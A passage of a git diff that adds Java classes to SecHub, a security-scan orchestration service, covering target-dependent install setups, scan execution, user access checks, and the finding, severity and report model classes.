(type==null) { + return false; + } + return type.isIntranet(); + } + + protected IllegalStateException createUnsupportedTargetTypeException(TargetType type) { + return new IllegalStateException("target type not supported:"+type); + } + + protected class ScanInfo{ + + protected boolean canScanDaimlerIntranet; + protected boolean canScanInternet; + + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AbstractTargetIdentifyingMultiInstallSetup.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AbstractTargetIdentifyingMultiInstallSetup.java new file mode 100644 index 0000000000..bae50298af --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AbstractTargetIdentifyingMultiInstallSetup.java @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import org.springframework.util.StringUtils; + +/** + * Abstract base class for scans where INTERNET and INTRANET scans will be done by complete different installations + * @author Albert Tregnaghi + * + */ +public abstract class AbstractTargetIdentifyingMultiInstallSetup extends AbstractInstallSetup implements TargetIdentifyingMultiInstallSetup{ + + @Override + protected void init(ScanInfo info) { + boolean canScanDaimlerIntranet = notEmpty(getBaseURLWhenDaimlerIntranetTarget()); + canScanDaimlerIntranet=canScanDaimlerIntranet && notEmpty(getUsernameWhenDaimlerIntranetTarget()); + canScanDaimlerIntranet=canScanDaimlerIntranet && notEmpty(getPasswordWhenDaimlerIntranetTarget()); + + info.canScanDaimlerIntranet=canScanDaimlerIntranet; + + boolean canScanInternet = notEmpty(getBaseURLWhenInternetTarget()); + canScanInternet=canScanInternet && notEmpty(getUsernameWhenInternetTarget()); + canScanInternet=canScanInternet && notEmpty(getPasswordWhenInternetTarget()); + + info.canScanInternet=canScanInternet; + + } + + private boolean notEmpty(Object object) { + return ! StringUtils.isEmpty(object); + } + + @Override + public final String getBaseURL(TargetType type) { + if (isDaimlerIntranet(type)) { + return getBaseURLWhenDaimlerIntranetTarget(); + } + if (isInternet(type)) { + return getBaseURLWhenInternetTarget(); + } + throw createUnsupportedTargetTypeException(type); + } + + @Override + public final String getUserId(TargetType type) { + if (isDaimlerIntranet(type)) { + return getUsernameWhenDaimlerIntranetTarget(); + } + if (isInternet(type)) { + return getUsernameWhenInternetTarget(); + } + throw createUnsupportedTargetTypeException(type); + } + + @Override + public final String getPassword(TargetType target) { + if (isDaimlerIntranet(target)) { + return getPasswordWhenDaimlerIntranetTarget(); + } + if (isInternet(target)) { + return getPasswordWhenInternetTarget(); + } + throw createUnsupportedTargetTypeException(target); + } + + protected abstract String getBaseURLWhenInternetTarget(); + + protected abstract String getBaseURLWhenDaimlerIntranetTarget(); + + protected abstract String getUsernameWhenInternetTarget(); + + protected abstract String getUsernameWhenDaimlerIntranetTarget(); + + protected abstract String getPasswordWhenInternetTarget(); + + protected abstract String getPasswordWhenDaimlerIntranetTarget(); + + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AbstractTargetIdentifyingOneInstallSetup.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AbstractTargetIdentifyingOneInstallSetup.java new file mode 100644 index 0000000000..fb1380ccf0 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AbstractTargetIdentifyingOneInstallSetup.java @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import org.springframework.util.StringUtils; + +/** + * Abstract base class for scans where INTERNET and INTRANET scans will be done by ONE installation. + * The installation must have the ability to to scan both parts by using an identifier. + * @author Albert Tregnaghi + * + */ +public abstract class AbstractTargetIdentifyingOneInstallSetup extends AbstractInstallSetup implements TargetIdentifiyingOneInstallSetup{ + + + @Override + protected void init(ScanInfo info) { + info.canScanDaimlerIntranet=notEmpty(getIdentifierWhenDaimlerIntranetTarget()); + info.canScanInternet=notEmpty(getIdentifierWhenInternetTarget()); + } + + private boolean notEmpty(Object object) { + return ! StringUtils.isEmpty(object); + } + + @Override + public final String getIdentifier(TargetType target) { + if (isDaimlerIntranet(target)) { + return getIdentifierWhenDaimlerIntranetTarget(); + } + if (isInternet(target)) { + return getIdentifierWhenInternetTarget(); + } + throw createUnsupportedTargetTypeException(target); + } + + protected abstract String getIdentifierWhenInternetTarget(); + + protected abstract String getIdentifierWhenDaimlerIntranetTarget(); + + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AnyTargetOneInstallSetup.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AnyTargetOneInstallSetup.java new file mode 100644 index 0000000000..0625b56581 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AnyTargetOneInstallSetup.java @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +/** + * Setup where a product is installed only ONE time and does NOT need to differ between different targets at runtime + * @author Albert Tregnaghi + * + */ +public interface AnyTargetOneInstallSetup extends OneInstallSetup{ + +} \ No newline at end of file diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java new file mode 100644 index 0000000000..0868794e03 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java @@ -0,0 +1,134 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import java.io.BufferedReader; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.util.HashMap; +import java.util.Map; +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.Resource; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.domain.scan.report.ScanReportResult; +import com.daimler.sechub.domain.scan.report.ScanReportTrafficLightCalculator; +import com.daimler.sechub.sharedkernel.MustBeDocumented; +import com.daimler.sechub.sharedkernel.type.TrafficLight; + + +@Component +public class HTMLScanResultReportModelBuilder { + + static final String SHOW_LIGHT = "opacity: 1.0"; + static final String HIDE_LIGHT = "opacity: 0.25"; + + private static final Logger LOG = LoggerFactory.getLogger(HTMLScanResultReportModelBuilder.class); + + @Value("${sechub.development.webdesignmode.enabled:false}") + @MustBeDocumented(scope="development",value="Developers can turn on this mode to have reports creating with external css. Normally the html model builder will create embedded css content") + boolean webDesignMode; + + @Value("classpath:templates/report/html/scanresult.css") + Resource cssResource; + + String embeddedCSS; + + @Autowired + ScanReportTrafficLightCalculator trafficLightCalculator; + + + public Map build(ScanReportResult scanResult) { + String trafficLight = scanResult.getTrafficLight(); + + String styleRed = HIDE_LIGHT; + String styleYellow = HIDE_LIGHT; + String styleGreen = HIDE_LIGHT; + + switch (trafficLight) { + case "RED": + styleRed = SHOW_LIGHT; + break; + case "YELLOW": + styleYellow = SHOW_LIGHT; + break; + case "GREEN": + styleGreen = SHOW_LIGHT; + break; + default: + } + + SecHubResult result = scanResult.getResult(); + + Map model = new HashMap<>(); + model.put("result", scanResult.getResult()); + model.put("redList", trafficLightCalculator.filterFindingsFor(result, TrafficLight.RED)); + model.put("yellowList", trafficLightCalculator.filterFindingsFor(result, TrafficLight.YELLOW)); + model.put("greenList", trafficLightCalculator.filterFindingsFor(result, TrafficLight.GREEN)); + + model.put("trafficlight", trafficLight); + + model.put("styleRed", styleRed); + model.put("styleYellow", styleYellow); + model.put("styleGreen", styleGreen); + model.put("isWebDesignMode", webDesignMode); + model.put("embeddedCSS", getEmbeddedCSS()); + if (webDesignMode) { + File file; + try { + if (cssResource==null) { + LOG.error("CSS resource not set:{}",cssResource); + }else { + file = cssResource.getFile(); + String absolutePathToCSSFile = file.getAbsolutePath(); + LOG.info("Web design mode activate, using not embedded css but ref to:{}",absolutePathToCSSFile); + model.put("includedCSSRef", absolutePathToCSSFile); + } + } catch (Exception e) { + LOG.error("Was not able get file from resource:{}",cssResource,e); + } + } + UUID jobUUID = scanResult.getJobUUID(); + if (jobUUID!=null) { + model.put("jobuuid", jobUUID.toString()); + }else { + model.put("jobuuid", "none"); + } + model.put("info", scanResult.getInfo()); + + return model; + + } + + public String getEmbeddedCSS() { + if (embeddedCSS!=null) { + return embeddedCSS; + } + try { + InputStream in = cssResource.getInputStream(); + try (BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF-8"))){ + String line=null; + StringBuilder sb = new StringBuilder(); + while ((line=br.readLine())!=null) { + sb.append(line); + sb.append("\n"); + } + embeddedCSS=sb.toString(); + } + + } catch (IOException e) { + LOG.error("Was not able to load css resources",e); + embeddedCSS="/* not able to load css from server */"; + } + return embeddedCSS; + } + + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/InstallSetup.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/InstallSetup.java new file mode 100644 index 0000000000..0d063fd8b6 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/InstallSetup.java @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +/** + * An installation setup defines the necessary definitions when using different target types (INTERNET, INTRANET). + * The setup is the wrapper part for those product executions which have to handle execution different. Mostly + * this is an issue with internal network behaviour, firewall configurations etc.

    + * Implementations for this interface shall also provide more information about the target specific situation/installation. See + * existing implementations for examples or as a short description next "ascii art picture":

    + * + *
    + *  TargetType      Intranet               Internet                CodeUpload
    + *                  -----------------      -------------------     ------------
    + *  Product         scanner1.intra.net     scanner2.intra.net      codescanner.intra.net
    + *  Proxy           scannerproxy.intra.net         
    + *  Proxy-Port      8888     
    + *  CodeIdentifier                                                 code-upload://c:/dev/a;c:/dev/b   
    + * 
    + * + * @author Albert Tregnaghi + * + */ +public interface InstallSetup { + + /** + * Returns true when the setup is able to handle the wanted target type. Normally a false is + * returned when no credentials are available or no configuration for the target type exists. + * @param target + * @return true when able to scan target type otherwise false + * + */ + public boolean isAbleToScan(TargetType targetType); +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/OneInstallSetup.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/OneInstallSetup.java new file mode 100644 index 0000000000..21c78913fb --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/OneInstallSetup.java @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +public interface OneInstallSetup extends InstallSetup{ + + /** + * User name for product to login + * @return user id + */ + String getUserId(); + + /** + * Password for user to login + * @return password + */ + String getPassword(); + + + /** + * Base url for the product + * @return base url + */ + String getBaseURL(); + + + /** + * Returns true when installation has not a certificate from a wellknown CA + * @return true when having untrusted certificate + */ + boolean isHavingUntrustedCertificate(); + + + +} \ No newline at end of file diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanAssertService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanAssertService.java new file mode 100644 index 0000000000..f6910c473c --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanAssertService.java @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.scan.access.ScanUserAccessToProjectValidationService; +import com.daimler.sechub.domain.scan.report.ScanReport; +import com.daimler.sechub.sharedkernel.UserContextService; + +@Service +public class ScanAssertService { + + @Autowired + UserContextService userContextService; + + @Autowired + ScanUserAccessToProjectValidationService userAccessValidation; + + public void assertUserHasAccessToReport(ScanReport report) { + if (report==null) { + throw new IllegalArgumentException("report may not be null"); + } + assertUserHasAccessToProject(report.getProjectId()); + + } + + public void assertUserHasAccessToProject(String projectId) { + if (projectId==null) { + throw new IllegalArgumentException("projectId may not be null"); + } + if (userContextService.isSuperAdmin()) { + /* always access */ + return; + } + userAccessValidation.assertUserHasAccessToProject(projectId); + + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanMessageHandler.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanMessageHandler.java new file mode 100644 index 0000000000..a55b19cf2b --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanMessageHandler.java @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.domain.scan.access.ScanGrantUserAccessToProjectService; +import com.daimler.sechub.domain.scan.access.ScanRevokeUserAccessAtAllService; +import com.daimler.sechub.domain.scan.access.ScanRevokeUserAccessFromProjectService; +import com.daimler.sechub.sharedkernel.messaging.AsynchronMessageHandler; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.IsReceivingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; + +@Component +public class ScanMessageHandler implements AsynchronMessageHandler{ + + + private static final Logger LOG = LoggerFactory.getLogger(ScanMessageHandler.class); + + + @Autowired + ScanGrantUserAccessToProjectService grantService; + + @Autowired + ScanRevokeUserAccessFromProjectService revokeUserFromProjectService; + + @Autowired + ScanRevokeUserAccessAtAllService revokeUserService; + + @Override + public void receiveAsyncMessage(DomainMessage request) { + MessageID messageId = request.getMessageId(); + LOG.debug("received domain request: {}", request); + + switch (messageId) { + case USER_ADDED_TO_PROJECT: + handleUserAddedToProject(request); + break; + case USER_REMOVED_FROM_PROJECT: + handleUserRemovedFromProject(request); + break; + case USER_DELETED: + handleUserDeleted(request); + break; + default: + throw new IllegalStateException("unhandled message id:"+messageId); + } + } + + @IsReceivingAsyncMessage(MessageID.USER_ADDED_TO_PROJECT) + private void handleUserAddedToProject(DomainMessage request) { + UserMessage data = request.get(MessageDataKeys.PROJECT_TO_USER_DATA); + grantService.grantUserAccessToProject(data.getUserId(),data.getProjectId()); + } + + @IsReceivingAsyncMessage(MessageID.USER_REMOVED_FROM_PROJECT) + private void handleUserRemovedFromProject(DomainMessage request) { + UserMessage data = request.get(MessageDataKeys.PROJECT_TO_USER_DATA); + revokeUserFromProjectService.revokeUserAccessFromProject(data.getUserId(), data.getProjectId()); + } + + @IsReceivingAsyncMessage(MessageID.USER_DELETED) + private void handleUserDeleted(DomainMessage request) { + UserMessage data = request.get(MessageDataKeys.USER_DELETE_DATA); + revokeUserService.revokeUserAccess(data.getUserId()); + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanService.java new file mode 100644 index 0000000000..4309a89450 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanService.java @@ -0,0 +1,152 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static com.daimler.sechub.sharedkernel.messaging.DomainDataTraceLogID.*; +import static com.daimler.sechub.sharedkernel.messaging.MessageDataKeys.*; +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.scan.log.ProjectScanLogService; +import com.daimler.sechub.domain.scan.product.CodeScanProductExecutionService; +import com.daimler.sechub.domain.scan.product.InfrastructureScanProductExecutionService; +import com.daimler.sechub.domain.scan.product.WebScanProductExecutionService; +import com.daimler.sechub.domain.scan.report.CreateScanReportService; +import com.daimler.sechub.domain.scan.report.ScanReport; +import com.daimler.sechub.domain.scan.report.ScanReportException; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageSynchronousResult; +import com.daimler.sechub.sharedkernel.messaging.IsRecevingSyncMessage; +import com.daimler.sechub.sharedkernel.messaging.IsSendingSyncMessageAnswer; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.SynchronMessageHandler; +import com.daimler.sechub.sharedkernel.storage.JobStorage; +import com.daimler.sechub.sharedkernel.storage.StorageService; +import com.daimler.sechub.sharedkernel.util.JSONConverterException; + +/** + * Scan service - main entry point for scans. We use a REQUIRES_NEW propagation + * to abtain a new transaction + * + * @author Albert Tregnaghi + * + */ +@Service +public class ScanService implements SynchronMessageHandler { + + private static final Logger LOG = LoggerFactory.getLogger(ScanService.class); + @Autowired + StorageService storageService; + + @Autowired + CodeScanProductExecutionService codeScanProductExecutionService; + + @Autowired + WebScanProductExecutionService webScanProductExecutionService; + + @Autowired + InfrastructureScanProductExecutionService infraScanProductExecutionService; + + @Autowired + CreateScanReportService reportService; + + @Autowired + ProjectScanLogService scanLogService; + + @IsSendingSyncMessageAnswer(value = MessageID.SCAN_DONE, answeringTo = MessageID.START_SCAN, branchName="success") + @IsSendingSyncMessageAnswer(value = MessageID.SCAN_FAILED, answeringTo = MessageID.START_SCAN, branchName="failure") + DomainMessageSynchronousResult startScan(DomainMessage request) { + SecHubExecutionContext context = null; + try { + context = createExecutionContext(request); + + executeScan(context,request); + + ScanReport report = reportService.createReport(context); + + DomainMessageSynchronousResult response = new DomainMessageSynchronousResult(MessageID.SCAN_DONE); + response.set(REPORT_TRAFFIC_LIGHT, report.getTrafficLightAsString()); + return response; + + } catch (ScanReportException e) { + LOG.error("Execution was possible, but report failed." + traceLogID(request), e); + return new DomainMessageSynchronousResult(MessageID.SCAN_FAILED, e); + + } catch (SecHubExecutionException e) { + LOG.error("Execution problems on scan." + traceLogID(request), e); + return new DomainMessageSynchronousResult(MessageID.SCAN_FAILED, e); + } catch (Exception e) { + LOG.error("Was not able to start scan." + traceLogID(request), e); + return new DomainMessageSynchronousResult(MessageID.SCAN_FAILED, e); + }finally { + cleanupStorage(context); + } + } + + protected void executeScan(SecHubExecutionContext context, DomainMessage request) throws SecHubExecutionException { + if (LOG.isInfoEnabled()) { + LOG.info("start scan for {}", traceLogID(request)); + } + UUID logUUID = scanLogService.logScanStarted(context); + try { + codeScanProductExecutionService.executeProductsAndStoreResults(context); + webScanProductExecutionService.executeProductsAndStoreResults(context); + infraScanProductExecutionService.executeProductsAndStoreResults(context); + scanLogService.logScanEnded(logUUID); + }catch(Exception e) { + scanLogService.logScanFailed(logUUID); + throw new SecHubExecutionException("Execute scan failed", e); + } + + } + + /* + * Cleans storage for current job + */ + private void cleanupStorage(SecHubExecutionContext context) { + if (context==null) { + LOG.warn("No context available so no cleanup possible"); + return; + } + SecHubConfiguration configuration = context.getConfiguration(); + if (configuration==null) { + LOG.warn("No configuration available so no cleanup possible"); + return; + } + String projectId = configuration.getProjectId(); + UUID jobUUID = context.getSechubJobUUID(); + JobStorage storage = storageService.getJobStorage(projectId, jobUUID); + + storage.deleteAll(); + + } + + + private SecHubExecutionContext createExecutionContext(DomainMessage message) throws JSONConverterException { + UUID uuid = message.get(SECHUB_UUID); + SecHubConfiguration configuration = message.get(SECHUB_CONFIG); + String executedBy = message.get(EXECUTED_BY); + return new SecHubExecutionContext(uuid, configuration,executedBy); + } + + @Override + @IsRecevingSyncMessage(MessageID.START_SCAN) + public DomainMessageSynchronousResult receiveSynchronMessage(DomainMessage request) { + notNull(request, "Request may not be null!"); + + if (!request.hasID(MessageID.START_SCAN)) { + return new DomainMessageSynchronousResult(MessageID.UNSUPPORTED_OPERATION, + new UnsupportedOperationException("Can only handle " + MessageID.START_SCAN)); + } + return startScan(request); + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/SecHubFinding.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/SecHubFinding.java new file mode 100644 index 0000000000..f626433bb6 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/SecHubFinding.java @@ -0,0 +1,206 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import java.util.ArrayList; +import java.util.Date; +import java.util.List; + +public class SecHubFinding { + + int id; // faraday: _id + + // faraday: attachments - ignored + // faraday: data - ignored: null + // private String data; farrady uses this for checkmarkx but currently ignored + // by sechub + String description;// faraday: description + + /** + * Lookup resuls from IP + */ + List hostnames = new ArrayList<>(); + + Date created; + + String createdBy; + + // private String method ; // faraday: method - check if necessary + + String name; + + String parameters; // faraday: params + + String path; // faraday: path + + String parameterName; // faraday: pname + + String query; // faraday: query + + List references = new ArrayList<>(); // faraday: refs array + + String method; + String request; + + String resolution; + String response; + String service; + Severity severity; + String target; + + /** + * Represents the target of scan - e.g. you can have multiple + */ + String website; + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public List getHostnames() { + return hostnames; + } + + public void setHostnames(List hostnames) { + this.hostnames = hostnames; + } + + public Date getCreated() { + return created; + } + + public void setCreated(Date created) { + this.created = created; + } + + public String getCreatedBy() { + return createdBy; + } + + public void setCreatedBy(String createdBy) { + this.createdBy = createdBy; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getParameters() { + return parameters; + } + + public void setParameters(String parameters) { + this.parameters = parameters; + } + + public String getPath() { + return path; + } + + public void setPath(String path) { + this.path = path; + } + + public String getParameterName() { + return parameterName; + } + + public void setParameterName(String parameterName) { + this.parameterName = parameterName; + } + + public String getQuery() { + return query; + } + + public void setQuery(String query) { + this.query = query; + } + + public List getReferences() { + return references; + } + + public void setReferences(List references) { + this.references = references; + } + + public String getRequest() { + return request; + } + + public void setRequest(String request) { + this.request = request; + } + + public String getResolution() { + return resolution; + } + + public void setResolution(String resolution) { + this.resolution = resolution; + } + + public String getResponse() { + return response; + } + + public void setResponse(String response) { + this.response = response; + } + + public String getService() { + return service; + } + + public void setService(String service) { + this.service = service; + } + + public Severity getSeverity() { + return severity; + } + + public void setSeverity(Severity severity) { + this.severity = severity; + } + + public String getTarget() { + return target; + } + + public void setTarget(String target) { + this.target = target; + } + + public void setWebsite(String website) { + this.website = website; + } + + public String getWebsite() { + return website; + } + + public void setMethod(String method) { + this.method = method; + } + + public String getMethod() { + return method; + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/SecHubResult.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/SecHubResult.java new file mode 100644 index 0000000000..71ce073f28 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/SecHubResult.java @@ -0,0 +1,50 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import java.util.ArrayList; +import java.util.List; + +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.util.JSONable; + +/** + * This class represents the final resulting report data. It is based on Faraday + * JSON output, but in a reduced form. If there will be another result + * transformer in future, there must be a wrapper service established to + * transform to this data
    + *
    + * We do not ignore properties like in {@link SecHubConfiguration} because here + * we are the only writing instance + * + * @author Albert Tregnaghi + */ +public class SecHubResult implements JSONable { + + public static final String PROPERTY_FINDINGS="findings"; + + /** + * Just an reusable instance for JSON from calls - so we do not need to create + * always an empty object + */ + public static final SecHubResult OBJECT = new SecHubResult(); + + long count; + List findings = new ArrayList<>(); + + public void setCount(long count) { + this.count = count; + } + + public long getCount() { + return count; + } + + public List getFindings() { + return findings; + } + + @Override + public Class getJSONTargetClass() { + return SecHubResult.class; + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/SecHubResultService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/SecHubResultService.java new file mode 100644 index 0000000000..7266c983fb --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/SecHubResultService.java @@ -0,0 +1,72 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static com.daimler.sechub.domain.scan.product.ProductIdentifier.*; +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.util.List; +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.scan.product.ProductResult; +import com.daimler.sechub.domain.scan.product.ProductResultRepository; +import com.daimler.sechub.domain.scan.report.ScanReportToSecHubResultTransformer; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; + +@Service +/** + * This service will load the product result data from FARRADAY (and maybe also + * other products or own implementations) and transform those data a sechub + * result + * + * @author Albert Tregnaghi + * + */ +public class SecHubResultService { + + private static final Logger LOG = LoggerFactory.getLogger(SecHubResultService.class); + + @Autowired + ProductResultRepository productResultRepository; + + @Autowired + List transformers; + + /** + * Will fetch output from report products for wanted sechub job and returns + * result + * + * @param context + * @return result never null + */ + public SecHubResult createResult(SecHubExecutionContext context) throws SecHubExecutionException { + notNull(context, "Context may not be null!"); + + UUID secHubJobUUID = context.getSechubJobUUID(); + List productResults = productResultRepository.findProductResults(secHubJobUUID, FARRADAY, + SERECO); + + if (productResults.isEmpty()) { + throw new SecHubExecutionException("No report result found for:" + secHubJobUUID); + } + int productResultAmount = productResults.size(); + if (productResultAmount > 1) { + LOG.warn("Found {} report product results, only one will be transformed!", productResultAmount); + } + for (ProductResult productResult : productResults) { + for (ScanReportToSecHubResultTransformer transformer : transformers) { + if (transformer.canTransform(productResult.getProductIdentifier())) { + LOG.info("Transformer {} is used to transform result", transformer.getClass().getSimpleName()); + return transformer.transform(productResult.getResult()); + } + } + } + + throw new SecHubExecutionException("No transformable report result format found for:" + secHubJobUUID); + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/Severities.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/Severities.java new file mode 100644 index 0000000000..5fb1807f8f --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/Severities.java @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; +import static com.daimler.sechub.domain.scan.Severity.*; + +public class Severities { + + private Severities() {} + + /* @formatter:off */ + private static final Severity[] ORDERED_FROM_HIGH_TO_LOW = new Severity[] { + CRITICAL, + HIGH, + MEDIUM, + UNCLASSIFIED, + LOW, + INFO + }; + /* @formatter:on */ + + public static Severity[] getAllOrderedFromHighToLow() { + return ORDERED_FROM_HIGH_TO_LOW; + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/Severity.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/Severity.java new file mode 100644 index 0000000000..84caccfd61 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/Severity.java @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +public enum Severity { + + // farrady: + // critical, high, medium, low, info, unclassified + INFO, // faraday: info + + UNCLASSIFIED, // faraday: unclassfiied + + LOW, // faraday: low + + MEDIUM, // faraday: low + + HIGH, // faraday: high + + CRITICAL,// faraday: critical + + ; + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/Target.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/Target.java new file mode 100644 index 0000000000..4bbb33a280 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/Target.java @@ -0,0 +1,128 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import java.net.InetAddress; +import java.net.URI; +import java.util.Objects; + +import com.daimler.sechub.sharedkernel.util.Assert; + +/** + * Target class. This will contain meta data and information about the kind of the target. + * E.g. if its INTRANET or INTERNET + * @author Albert Tregnaghi + * + */ +public class Target { + + TargetType type; + URI uri; + InetAddress inetAdress; + String identifier; + + /** + * Creates a target for given identifier + * @param identifier + * @param type + * @throws IllegalStateException when target type is not for code + */ + public Target(String identifier, TargetType type){ + assertTargetTypeNotNull(type); + Assert.notNull(identifier, "identifier may not be null!"); + this.type=type; + + boolean supported = type.isCodeUpload(); + if (! supported) { + throw new IllegalStateException("Currently unsupported but not:"+type); + } + /* ensure identifier prefix added */ + this.identifier=type.getIdentifierPrefix()+getIdentifierWithoutPrefix(identifier); + } + + public Target(InetAddress inetAdress, TargetType type){ + assertTargetTypeNotNull(type); + + this.inetAdress=inetAdress; + this.type=type; + } + + public Target(URI uri, TargetType type){ + assertTargetTypeNotNull(type); + + this.uri=uri; + this.type=type; + } + + /** + * @return target type, never null + */ + public TargetType getType() { + return type; + } + + public String getIdentifier() { + return identifier; + } + + public URI getUrl() { + return uri; + } + + public InetAddress getInetAdress() { + return inetAdress; + } + + public String getUriAsString() { + if (uri==null) { + return "null"; + } + return uri.toString(); + } + + @Override + public String toString() { + return "Target [type=" + type + ", id=" + identifier + ", uri=" + uri + ", inetAdress=" + inetAdress + "]"; + } + + private void assertTargetTypeNotNull(TargetType type) { + Assert.notNull(type, "target type may not be null!"); + } + + public String getIdentifierWithoutPrefix() { + return getIdentifierWithoutPrefix(identifier); + } + + protected String getIdentifierWithoutPrefix(String identifier) { + if (identifier==null) { + return null; + } + if (isStartingWithIdentifiedPrefix(identifier)) { + return identifier.substring(type.getIdentifierPrefix().length()); + } + return identifier; + } + + boolean isStartingWithIdentifiedPrefix(String identifier) { + return identifier.startsWith(type.getIdentifierPrefix()); + 